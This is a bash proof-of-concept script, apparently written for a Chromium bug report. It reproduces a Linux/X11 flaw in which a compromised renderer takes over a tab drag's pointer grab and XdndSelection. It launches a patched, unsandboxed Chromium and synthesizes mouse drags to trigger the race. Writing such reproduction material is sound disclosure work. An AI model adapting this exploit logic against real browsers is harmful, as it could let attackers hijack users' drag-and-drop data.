#!/bin/bash
# POC driver: tab-drag RunMoveLoop bypasses g_is_dragging, letting a
# compromised renderer in a second window start a data drag inside the
# tab-drag's nested RunLoop and steal the X11 pointer grab + XdndSelection.
#
# Prereqs:
#   - Linux/X11 desktop (DISPLAY set)
#   - Chromium built with chromium-changes.patch applied
#     (renderer-side StartDragging injection + browser-side [POC-BROWSER] logs)
#   - gcc, libX11, libXtst (for ./xmouse / ./xfind helpers)

set -e
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT="${PORT:-18080}"
PROFILE=/tmp/chrome-poc-profile
LOG=/tmp/chrome-poc.log

cd "$HERE"
gcc -o xmouse xmouse.c -lX11 -lXtst 2>/dev/null || true
gcc -o xfind  xfind.c  -lX11        2>/dev/null || true

pkill -f "[s]erver.py $PORT" 2>/dev/null || true
python3 server.py "$PORT" >/dev/null 2>&1 &
SERVER_PID=$!
sleep 0.5

rm -rf "$PROFILE"
rm -f "$LOG"

CHROME_FLAGS=(
  --no-first-run --no-default-browser-check --no-sandbox
  --disable-gpu --use-gl=angle --use-angle=swiftshader
  --ozone-platform=x11
  --user-data-dir="$PROFILE"
  --enable-logging=stderr
  --disable-features=FirstRunExperience
)

# W2 (attacker) is the *first* window so its 8s setTimeout starts immediately.
"$CHROME" "${CHROME_FLAGS[@]}" \
  --window-position=900,900 --window-size=700,500 \
  "http://127.0.0.1:$PORT/attacker.html" \
  >"$LOG" 2>&1 &
CHROME_PID=$!

cleanup() {
  ./xmouse release 2>/dev/null || true
  kill "$CHROME_PID" 2>/dev/null || true
  kill "$SERVER_PID" 2>/dev/null || true
  wait 2>/dev/null || true
}
trap cleanup EXIT

sleep 3

# W1 (victim, single tab) — opened via the existing instance.
"$CHROME" "${CHROME_FLAGS[@]}" \
  --new-window \
  "http://127.0.0.1:$PORT/victim.html" \
  >>"$LOG" 2>&1 || true

sleep 3

# Locate W1 (the victim window) by its title.
W1=$(./xfind hromium | grep -i "victim" | head -1)
if [ -z "$W1" ]; then
  echo "!! could not find victim window; xfind output:"
  ./xfind hromium
  cat "$LOG" | tail -50
  exit 1
fi
echo "W1: $W1"
read -r W1W W1H W1X W1Y < <(echo "$W1" | sed -n 's/.*geom=\([0-9]*\)x\([0-9]*\)+\([-0-9]*\)+\([-0-9]*\).*/\1 \2 \3 \4/p')
echo "W1 client area: ${W1W}x${W1H} at (${W1X},${W1Y})"

# First-tab centre. Chrome custom frame: tab strip is at the very top of the
# client area; tab 0 spans roughly x∈[10,230], y∈[6,40].
TAB_X=$((W1X + 110))
TAB_Y=$((W1Y + 22))
echo "tab press at ($TAB_X,$TAB_Y)"

# T+6s: press and start dragging W1's only tab => RunMoveLoop.
./xmouse move "$TAB_X" "$TAB_Y"; sleep 0.2
./xmouse press "$TAB_X" "$TAB_Y"; sleep 0.15
# Horizontal wiggle to exceed the drag threshold inside the strip:
./xmouse smove "$TAB_X" "$TAB_Y" $((TAB_X + 25)) "$TAB_Y" 8 15
# Drag down past the detach threshold so the whole window enters RunMoveLoop:
./xmouse smove $((TAB_X + 25)) "$TAB_Y" $((TAB_X + 25)) $((TAB_Y + 200)) 25 15

# T+~7s: now inside X11WholeScreenMoveLoop::RunMoveLoop(kNestableTasksAllowed)
# with g_is_dragging==false. Keep the button held and keep moving so the user's
# gesture is clearly still in progress when the attacker fires at T+8s.
./xmouse smove $((TAB_X + 25)) $((TAB_Y + 200)) $((TAB_X + 250)) $((TAB_Y + 200)) 160 50

# T+~11s: release. If the bypass succeeded, this release is delivered to the
# *attacker's* X11WholeScreenMoveLoop / XDragDropClient, not the tab-drag.
./xmouse release
sleep 3

kill "$CHROME_PID" 2>/dev/null || true
wait "$CHROME_PID" 2>/dev/null || true

echo
echo "================ [POC] log markers ================"
grep -E "\[POC-" "$LOG" || true
echo "==================================================="
echo "(full log: $LOG)"
